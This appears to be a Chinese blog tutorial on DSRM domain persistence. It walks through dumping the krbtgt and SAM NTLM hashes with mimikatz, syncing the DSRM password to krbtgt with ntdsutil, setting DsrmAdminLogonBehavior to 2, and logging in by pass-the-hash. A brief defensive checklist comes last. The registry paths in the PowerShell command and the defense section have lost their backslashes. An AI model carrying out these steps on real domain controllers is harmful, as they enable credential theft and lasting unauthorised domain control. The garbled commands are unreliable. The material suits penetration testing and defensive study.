域权限维持-DSRM

一、DSRM域后门介绍

目录服务恢复模式(DSRM,Directory Services Restore Mode),是Windows服务器域控制器的安全模式启动选项。DSRM允许管理员用来修复或还原修复或重建活动目录数据库。活动目录安装后,安装向导提示管理员选择一个DSRM密码。有了密码,管理员可以防护数据库后门,避免之后出问题。但是它不提供访问域或任何服务。如果DSRM密码忘了,可以使用命令行工具NTDSUtil进行更改。

在渗透测试中,可以使用DSRM对域环境进行持久化操作。适用版本为windows server2008(需安装KB961320才可以使用指定域账号的密码对DSRM的密码进行同步)及以后的版本,windows server2003不能使用此方法。

每个域控制器都有本地管理员账号和密码(与域管理员账号和密码不同)。DSRM账号可以作为一个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。

二、DSRM域后门过程

1、使用mimikatz查看krbtgt的NTLM hash

在域控制器中打开mimikatz,分别输入如下命令

privilege::debug
lsadump::lsa /patch /name:krbtgt

 可以看到krbtgt的NTLM Hash为375892441bee1134ffee32deb81d4a70

2、使用mimikatz查看并读取SAM文件中本地管理员的NTLM Hash

在域控制器中打开mimikatz,分别输入如下命令

token::elevate
lsadump::sam

 本地管理员账号也就是DSRM账号的NTLM Hash为6ffa4e2d80be9ac28ff2e2b06980d677

3、将DSRM账号和krbtgt的NTLM Hash同步(为DSRM设置新密码)

NTDSUTIL:打开ntdsutil
set DSRM password:修改DSRM的密码
sync from domain account 域用户名字:使DSRM的密码和指定域用户的密码同步
q(第1次):退出DSRM密码设置模式
q(第2次):退出ntdsutil

 4、查看DSRM的NTLM Hash是否同步成功

在域控制器中打开mimikatz,可以看到此时DSRM的hash就和krbtgt的NTLM Hash一样了,为375892441bee1134ffee32deb81d4a70

5、修改DSRM的登录方式

DSRM有三种登录方式,具体如下:

  • 0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号
  • 1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器
  • 2:在任何情况下,都可以使用DSRM管理员账号登录域控制器

在Windows Server 2000以后的版本操作系统中,对DSRM使用控制台登录域控制器进行了限制。如果要使用DSRM账号通过网络登录域控制器,需要将该值设置为2。输入如下命令,可以使用PowerShell进行更改。

New-ItemProperty "hklm:systemcurrentcontrolsetcontrollsa" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD

6、使用DSRM账号通过网络远程登录域控制器

在任意一台域成员主机上或者域控本机上,输入如下内容

privilege::Debug
sekurlsa::pth /domain:WIN-K6S18HH1766 /user:administrator /ntlm:375892441bee1134ffee32deb81d4a70

 成功后会弹出一个弹框,从而达到权限维持的目的

三、防御

1、定期检查注册表中用于控制DSRM登录方式的键值 HKLMSystemCurrentControlSetControlLsaDsrmAdminLogonBehavior,确认该兼职为1,或者删除该键值

2、定期修改域中所有域控制器的DSRM账号

3、经常检查ID 为4794的日志。尝试设置活动目录服务还原模式的管理员密码会被记录在4794日志中

参考:《内网安全攻防-渗透测试实战指南》

原文地址:https://www.cnblogs.com/xiaoxiaosen/p/13535232.html